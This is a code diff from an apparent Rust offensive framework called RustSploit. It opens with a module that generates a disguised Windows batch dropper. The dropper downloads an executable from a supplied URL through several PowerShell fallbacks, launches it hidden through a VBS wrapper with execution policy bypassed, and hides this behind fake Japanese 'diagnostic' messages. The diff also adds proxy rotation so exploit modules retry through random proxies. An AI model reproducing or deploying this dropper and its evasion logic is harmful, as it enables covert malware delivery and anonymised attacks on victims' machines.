"try { Invoke-WebRequest -Uri '!url!' -OutFile '!outfile!' -UseBasicParsing } catch { " ^
"try { Start-BitsTransfer -Source '!url!' -Destination '!outfile!' } catch { " ^
"$wc = New-Object System.Net.WebClient; $wc.DownloadFile('!url!', '!outfile!') }}"
echo timeout /t 2 ^>nul
echo echo [*] ステルス起動用VBSを生成中...
echo ^(
echo Set shell = CreateObject("WScript.Shell"^)
echo shell.Run "powershell.exe -WindowStyle Hidden -ExecutionPolicy Bypass -File ""{{OUTFILE}}""", 0, False
echo ^) ^> "%%~dp0launch_hidden.vbs"
echo timeout /t 1 ^>nul
echo echo [*] スクリプト実行中...
echo cscript //nologo "%%~dp0launch_hidden.vbs"
echo echo [*] 補助診断完了。
) > "%%stage2%%"
:: Random delay before running stage 2
set /a rdelay=(%%RANDOM%% %% 5) + 2
echo [INFO] stage2.bat を %%rdelay%% 秒後に実行します...
timeout /t %%rdelay%% >nul
:: Run stage2
call "%%stage2%%"
echo [√] 全診断完了。ログは "{{OUTFILE}}" に保存されました。
pause
exit
"#;
tpl.replace("{{URL}}", url)
.replace("{{OUTFILE}}", ps1_name)
}
/// Public entry point for the exploit dispatcher
pub async fn run(_target: &str) -> Result<()> {
// === Gather inputs ====================================================
let out_bat = prompt("[+] Output BAT filename : ")?;
let raw_url = prompt("[+] GitHub raw .EXE URL : ")?;
let ps1_name = prompt("[+] Disguised PowerShell name : ")?;
// === Generate script ===================================================
let script = build_script(&raw_url, &ps1_name);
fs::write(&out_bat, script)
.with_context(|| format!("Could not write {}", out_bat))?;
println!("\n[+] Batch script saved to: {out_bat}");
Ok(())
}
+150 -14
View File
@@ -1,14 +1,35 @@
use crate::commands;
use crate::utils;
use anyhow::Result;
use rand::prelude::*; // Updated for rand 0.10
use std::env;
use std::io::{self, Write};
use std::collections::HashSet;
/// Simple interactive shell context
struct ShellContext {
current_module: Option<String>,
current_target: Option<String>,
proxy_list: Vec<String>,
proxy_enabled: bool,
}
impl ShellContext {
fn new() -> Self {
ShellContext {
current_module: None,
current_target: None,
proxy_list: Vec::new(),
proxy_enabled: false,
}
}
}
pub async fn interactive_shell() -> Result<()> {
println!("Welcome to RustSploit Shell (inspired by RouterSploit)");
println!("Type 'help' for a list of commands. Type 'exit' or 'quit' to leave.");
let mut current_module: Option<String> = None;
let mut current_target: Option<String> = None;
let mut ctx = ShellContext::new();
loop {
print!("rsf> ");
@@ -31,37 +52,122 @@ pub async fn interactive_shell() -> Result<()> {
println!("Available commands:");
println!(" use <module_path> - Select a module (e.g. 'use exploits/sample_exploit')");
println!(" set target <value> - Set the target IP/host");
println!(" run - Run the current module");
println!(" run - Run the current module (with proxy retries if enabled)");
println!(" modules - List available modules");
println!(" proxy_load <file> - Load a list of proxies (http://ip:port, http://ip:port, socks4://ip:port, socks5://ip:port.)");
println!(" proxy_on - Enable proxy usage");
println!(" proxy_off - Disable proxy usage");
println!(" show_proxies - Show loaded proxies & current proxy status");
println!(" exit, quit - Exit the shell");
},
"modules" => {
utils::list_all_modules();
},
c if c.starts_with("use ") => {
let module_path = c.trim_start_matches("use ").trim();
cmd if cmd.starts_with("proxy_load ") => {
let file = cmd.trim_start_matches("proxy_load ").trim();
match utils::load_proxies_from_file(file) {
Ok(list) => {
ctx.proxy_list = list;
println!("Loaded {} proxies from '{}'.", ctx.proxy_list.len(), file);
}
Err(e) => {
println!("Failed to load proxies: {}", e);
}
}
},
"proxy_on" => {
ctx.proxy_enabled = true;
println!("Proxy usage enabled.");
},
"proxy_off" => {
ctx.proxy_enabled = false;
println!("Proxy usage disabled.");
clear_proxy_env_vars();
},
"show_proxies" => {
if ctx.proxy_list.is_empty() {
println!("No proxies loaded. Use 'proxy_load <file>' to load them.");
} else {
println!("Loaded proxies ({}):", ctx.proxy_list.len());
for p in &ctx.proxy_list {
println!(" {}", p);
}
}
println!("Proxy is currently {}.", if ctx.proxy_enabled { "ON" } else { "OFF" });
},
cmd if cmd.starts_with("use ") => {
let module_path = cmd.trim_start_matches("use ").trim();
if utils::module_exists(module_path) {
current_module = Some(module_path.to_string());
ctx.current_module = Some(module_path.to_string());
println!("Module '{}' selected.", module_path);
} else {
println!("Module '{}' not found.", module_path);
}
},
c if c.starts_with("set ") => {
// Example: set target 192.168.1.1
let parts: Vec<&str> = c.split_whitespace().collect();
cmd if cmd.starts_with("set ") => {
let parts: Vec<&str> = cmd.split_whitespace().collect();
if parts.len() >= 3 && parts[1] == "target" {
current_target = Some(parts[2].to_string());
ctx.current_target = Some(parts[2].to_string());
println!("Target set to {}", parts[2]);
} else {
println!("Usage: set target <value>");
}
},
"run" => {
if let Some(ref module_path) = current_module {
if let Some(ref t) = current_target {
println!("Running module '{}' against target '{}'", module_path, t);
commands::run_module(module_path, t).await?;
if let Some(ref module_path) = ctx.current_module {
if let Some(ref t) = ctx.current_target {
// -----------------------------
// NEW: Proxy Retry Logic
// -----------------------------
if ctx.proxy_enabled && !ctx.proxy_list.is_empty() {
// We'll keep trying different proxies until we succeed or run out
let mut tried_proxies = HashSet::new();
let mut success = false;
while tried_proxies.len() < ctx.proxy_list.len() {
// pick a random proxy that we haven't tried yet
let chosen_proxy = pick_random_untried_proxy(&ctx.proxy_list, &tried_proxies);
set_all_proxy_env(&chosen_proxy);
println!("[*] Using proxy: {}", chosen_proxy);
println!("Running module '{}' against target '{}'", module_path, t);
match commands::run_module(module_path, t).await {
Ok(_) => {
// If exploit was successful, break
success = true;
break;
}
Err(e) => {
eprintln!("[!] Module failed with error: {:?}", e);
eprintln!(" Retrying with a new proxy...");
tried_proxies.insert(chosen_proxy);
}
}
}
// if we never succeeded and we've tried all proxies,
// let's do a final fallback: direct connection (or just stop)
if !success {
println!("[!] All proxies failed. Trying direct connection...");
clear_proxy_env_vars();
if let Err(e) = commands::run_module(module_path, t).await {
eprintln!("[!] Final direct attempt also failed: {:?}", e);
}
}
} else if ctx.proxy_enabled && ctx.proxy_list.is_empty() {
// Proxy is on, but no proxies loaded => do a direct attempt
println!("[!] No proxies loaded, but proxy is ON. Doing direct attempt...");
clear_proxy_env_vars();
if let Err(e) = commands::run_module(module_path, t).await {
eprintln!("[!] Module failed: {:?}", e);
}
} else {
// Proxy is off => direct single attempt
clear_proxy_env_vars();
if let Err(e) = commands::run_module(module_path, t).await {
eprintln!("[!] Module failed: {:?}", e);
}
}
} else {
println!("No target set. Use 'set target <value>' first.");
}
@@ -77,3 +183,33 @@ pub async fn interactive_shell() -> Result<()> {
Ok(())
}
/// Picks a random proxy from `proxy_list` that is NOT in `tried_proxies`.
fn pick_random_untried_proxy(proxy_list: &[String], tried_proxies: &HashSet<String>) -> String {
let untried: Vec<&String> = proxy_list.iter()
.filter(|p| !tried_proxies.contains(*p))
.collect();
if untried.is_empty() {
// Fall back if somehow there's nothing untried
let mut rng = rand::rng();
let idx = rng.random_range(0..proxy_list.len());
return proxy_list[idx].clone();
}
let mut rng = rand::rng();
let idx = rng.random_range(0..untried.len());
untried[idx].clone()
}
/// Sets ALL_PROXY so reqwest uses it for all requests (including socks4, socks5, http, https)
fn set_all_proxy_env(proxy: &str) {
env::set_var("ALL_PROXY", proxy);
}
/// Clears environment variables for direct connection
fn clear_proxy_env_vars() {
env::remove_var("ALL_PROXY");
env::remove_var("HTTP_PROXY");
env::remove_var("HTTPS_PROXY");
}
+101 -19
View File
@@ -1,25 +1,107 @@
use std::collections::HashSet;
use colored::*;
use std::fs;
use std::io::{BufRead, BufReader, Error};
use std::path::{Path};
/// Check if a module path is valid (exploits/..., scanners/..., creds/...)
pub fn module_exists(module_path: &str) -> bool {
// For demonstration, we only hard-code the known modules
let known_modules = [
"exploits/sample_exploit",
"scanners/sample_scanner",
"creds/sample_cred_check",
];
known_modules.contains(&module_path)
/// Maximum folder depth to traverse
const MAX_DEPTH: usize = 6;
/// Recursively list .rs files up to a certain depth (unchanged)
fn collect_module_paths(dir: &Path, depth: usize) -> Vec<String> {
let mut modules = Vec::new();
if depth > MAX_DEPTH || !dir.exists() {
return modules;
}
if let Ok(entries) = fs::read_dir(dir) {
for entry in entries.flatten() {
let path = entry.path();
if path.is_dir() {
modules.extend(collect_module_paths(&path, depth + 1));
} else if let Some(file_name) = path.file_name().and_then(|s| s.to_str()) {
if file_name.ends_with(".rs") && file_name != "mod.rs" {
let relative_path = path
.strip_prefix("src/modules")
.unwrap_or(&path)
.with_extension("")
.to_string_lossy()
.replace('\\', "/"); // For Windows
modules.push(relative_path);
}
}
}
}
modules
}
/// List all known modules
/// Dynamically checks if a module path exists at any depth (unchanged)
pub fn module_exists(module_path: &str) -> bool {
let modules = collect_module_paths(Path::new("src/modules"), 0);
modules.iter().any(|m| m == module_path)
}
/// Lists all available modules recursively under src/modules/ (unchanged)
pub fn list_all_modules() {
let modules = [
"exploits/sample_exploit",
"scanners/sample_scanner",
"creds/sample_cred_check",
];
println!("Available modules:");
for m in modules {
println!(" {}", m);
println!("{}", "Available modules:".bold().underline());
let modules = collect_module_paths(Path::new("src/modules"), 0);
if modules.is_empty() {
println!("{}", "No modules found.".red());
return;
}
let mut grouped = std::collections::BTreeMap::new();
for module in modules {
let parts: Vec<&str> = module.split('/').collect();
let category = parts.get(0).unwrap_or(&"Other").to_string();
grouped
.entry(category)
.or_insert_with(Vec::new)
.push(module.clone());
}
for (category, paths) in grouped {
println!("\n{}:", category.blue().bold());
for path in paths {
println!(" - {}", path.green());
}
}
}
/// Parses a single proxy line (e.g., "1.2.3.4:9050" -> "http://1.2.3.4:9050")
/// or "socks5://127.0.0.1:9050" -> "socks5://127.0.0.1:9050"
fn parse_proxy_line(line: &str) -> String {
let trimmed = line.trim().to_lowercase();
if trimmed.starts_with("http://")
|| trimmed.starts_with("https://")
|| trimmed.starts_with("socks4://")
|| trimmed.starts_with("socks5://")
{
// User specified a scheme, keep as is (but restore original case if you want).
line.to_string()
} else {
// Default to HTTP if no scheme is provided
format!("http://{}", line)
}
}
/// Load proxies from a file, returning lines like:
/// [ "http://1.2.3.4:8080", "socks4://5.6.7.8:1080", "socks5://..." ] etc.
pub fn load_proxies_from_file(filename: &str) -> Result<Vec<String>, Error> {
let file = fs::File::open(filename)?;
let reader = BufReader::new(file);
let mut proxies = Vec::new();
for line in reader.lines() {
let line = line?.trim().to_string();
if !line.is_empty() {
let parsed = parse_proxy_line(&line);
proxies.push(parsed);
}
}
Ok(proxies)
}